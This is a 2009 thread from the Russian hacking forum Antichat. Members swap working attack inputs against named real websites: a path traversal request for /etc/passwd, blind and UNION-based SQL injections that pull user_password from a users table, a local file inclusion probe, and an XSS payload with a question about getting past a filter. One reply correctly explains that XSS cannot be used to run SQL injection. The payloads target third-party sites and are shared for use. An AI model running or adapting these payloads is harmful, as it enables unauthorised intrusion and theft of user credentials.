ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
15.06.2009, 18:20
|
|
Новичок
Регистрация: 10.06.2009
Сообщений: 4
Провел на форуме:
4993
Репутация:
0
|
|
Сообщение от Rubaka
а полный линк не хошь выложить?
Да пожайлуста
ka4ni.ру
Скажи и мне что там мона сделать особенно вот с этим
/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1
|
|
|
15.06.2009, 18:48
|
|
Новичок
Регистрация: 02.11.2008
Сообщений: 25
Провел на форуме:
147543
Репутация:
55
|
|
ПР 6.
Не расковырял.
http://www.libyaonline.com/business/details.php?id=1'
|
|
|
|
15.06.2009, 18:50
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
isher2003, Да ничего, просто двиг, при нахождении некоторых символов орет - хакинг аттемпт (т.е. попытка взлома).
Последний раз редактировалось mailbrush; 15.06.2009 в 18:58..
|
|
|
|
15.06.2009, 19:13
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Сообщение от Велемир
Тык инклуд работает ?)
http://www.alertsite.com/phplive/image.php?l=image.php
Так работает/будет работать или нет/не будет работать ? Ответа я так и не получил.Мне только выводит is_dir() функцию,как ты и писал.
|
|
|
|
15.06.2009, 19:23
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020
Репутация:
1423
|
|
Сообщение от molotovkeyt
ПР 6.
Не расковырял.
http://www.libyaonline.com/business/details.php?id=1'
Заурядная скуля
http://www.libyaonline.com/business/details.php?id=9846+and+1=if(ascii(substring((sele ct+user_password+from+users+limit+0,1),1,1))>1,1,0 )
Рядом есть с выводом
http://www.libyaonline.com/music/artist.php?id=-64+union+select+1,user_password,3,4,5,6+from+users +limit+0,1--+
Валемир, я думаю что нет
|
|
|
|
15.06.2009, 23:47
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
привет. Возможно ли через xss баг произвести sql инъекцию, если да то как?
|
|
|
|
16.06.2009, 00:41
|
|
Познающий
Регистрация: 16.05.2009
Сообщений: 42
Провел на форуме:
190310
Репутация:
7
|
|
Кто чем ищет логи (конфиги итд....) апача при LFI?
|
|
|
|
16.06.2009, 00:44
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от YuNi|[c
привет. Возможно ли через xss баг произвести sql инъекцию, если да то как?
Нет.
Сообщение от farpost
Кто чем ищет логи (конфиги итд....) апача при LFI?
http://forum.antichat.ru/thread49775.html
|
|
|
|
16.06.2009, 06:57
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
Сообщение от mailbrush
Нет.
http://forum.antichat.ru/thread49775.html
нет vailbrush ты сильно ошибаешся, я уже где то подробное описание видел на английском которое выполняли на xss ке тоесть внутри xss sql запросы, но к сожалению забыл где нашел. Вот поэтому спросил может здесь в ачате уже знают.
Вы еще скажите мне на запросе
Код:
1>"><ScRiPt%20%0a%0d>alert(401223179617)%3B</ScRiPt>
вместо номера 401223179617 фильтруется символы, как обходит этого? Чем зашифроват запрос?
|
|
|
|
16.06.2009, 07:49
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684
Репутация:
3908
|
|
Сообщение от YuNi|[c
нет vailbrush ты сильно ошибаешся, я уже где то подробное описание видел на английском которое выполняли на xss ке тоесть внутри xss sql запросы, но к сожалению забыл где нашел. Вот поэтому спросил может здесь в ачате уже знают.
ты не прав, XSS выполняется у тебя в браузере, а sql запросы идут к базе данных. Можно внутри sql инъекции заюзать xss, но не наоборот.
__________________
Feci, quod potui. Faciant meliora potentes.
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
